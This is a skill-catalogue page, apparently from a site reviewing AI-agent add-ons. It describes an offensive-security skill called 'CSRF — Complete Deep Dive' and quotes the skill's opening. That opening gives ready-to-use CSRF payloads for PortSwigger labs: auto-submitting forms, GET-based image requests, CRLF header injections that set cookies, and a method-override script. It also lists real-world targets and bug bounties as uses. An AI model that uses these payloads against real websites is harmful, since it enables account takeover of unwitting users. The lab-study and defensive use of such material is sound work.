Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/akashrpatil/awesome-offensive-security-skillsnpx agentmods add skills/akashrpatil/awesome-offensive-security-skills/csrfWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/csrf)<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/csrf"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/csrf/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/csrf"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/csrf.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00026 | $0.01547 |
| Opus 5 | $0.00013 | $0.00773 |
| Sonnet 5 | $0.00005 | $0.00309 |
| Haiku 4.5 | $0.00003 | $0.00155 |
Grade A, and why
CSRF — Complete Deep Dive scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 11d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
tools: [burp-suite, curl, sqlmap, ffuf, python] This is a copy
84% identical to CORS Misconfiguration — Complete Deep Dive — 89 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 175 lines — stays where its author put it; the contents beside it link to each section on GitHub.
CSRF — Complete Deep Dive
Deep-Dive Lab Playbook — Every PortSwigger lab variant with exact payloads, bypass techniques, and zero-day extensions. Difficulty: 🟢 Apprentice 🟡 Practitioner 🔴 Expert
When to Use
- Studying for BSCP (Burp Suite Certified Practitioner) certification
- Testing real-world targets for these vulnerability classes
- Bug bounty hunting — these exact techniques find real bugs
- Building exploitation chains
Prerequisites
- Burp Suite Professional (Community works for most)
- Browser with proxy configured
- Burp Collaborator or interactsh for OOB testing
Workflow
Phase 1: Reconnaissance
- Identify input vectors, parameters, and application behavior.
Phase 2: Exploitation
- Apply standard lab payloads.
Phase 3: Zero-Day Escalation
- Fuzz filters, bypass WAFs, and chain with other vulns.
Lab Playbooks
Lab 1: No defenses 🟢 APPRENTICE
<form action="https://TARGET/email/change" method="POST">
<input name="email" value="[email protected]">
</form>
<script>document.forms[0].submit();</script>
Lab 2: Token depends on request method 🟡 PRACTITIONER
Change POST to GET:
<img src="https://TARGET/email/[email protected]">
CSRF token only validated on POST, not GET.
Lab 3: Token depends on being present 🟡 PRACTITIONER
Remove the csrf parameter entirely. Server only validates IF token is present.
Lab 4: Token not tied to session 🟡 PRACTITIONER
Use YOUR valid CSRF token in the victim's request. Server validates token exists but not ownership.
Lab 5: Token tied to non-session cookie 🟡 PRACTITIONER
Inject your csrfKey cookie via header injection:
/?search=test%0d%0aSet-Cookie:+csrfKey=YOUR_KEY
Then use your matching CSRF token.
Lab 6: Token duplicated in cookie 🟡 PRACTITIONER
Cookie and parameter must match. Inject cookie:
/?search=test%0d%0aSet-Cookie:+csrf=fake
Use csrf=fake in form.
Lab 7: SameSite Lax method override 🟡 PRACTITIONER
<script>document.location='https://TARGET/email/[email protected]&_method=POST';</script>
_method=POST overrides GET to POST on server side. SameSite=Lax allows GET.
What ships with it
1 file beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 11d ago First seen · 175 lines · 26 tokens per session scan A 43d600158c2f
CSRF — Complete Deep Dive is a skill published in the GitHub repository akashrpatil/awesome-offensive-security-skills (4 stars, last pushed 4mo ago), licensed Apache-2.0. It adds 26 tokens to every session and 1,547 once invoked, about $0.0001 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). It is 84% identical to CORS Misconfiguration — Complete Deep Dive, differing in 89 lines, and is treated as a copy.
Other skills, from other repositories
Access Control — Complete Deep Dive
Complete PortSwigger deep-dive with exact payloads for every lab variant including zero-day techniques.
Authentication — Complete Deep Dive
Complete PortSwigger deep-dive with exact payloads for every lab variant including zero-day techniques.
DOM-based Vulnerabilities — Complete Deep Dive
Complete PortSwigger deep-dive with exact payloads for every lab variant including zero-day techniques.
JWT Authentication — Complete Deep Dive
Complete PortSwigger deep-dive with exact payloads for every lab variant including zero-day techniques.
CORS Misconfiguration — Complete Deep Dive
Complete PortSwigger deep-dive with exact payloads for every lab variant including zero-day techniques.
Essential Skills — Deep Dive
PortSwigger deep-dive with exact payloads for every lab variant including zero-day techniques.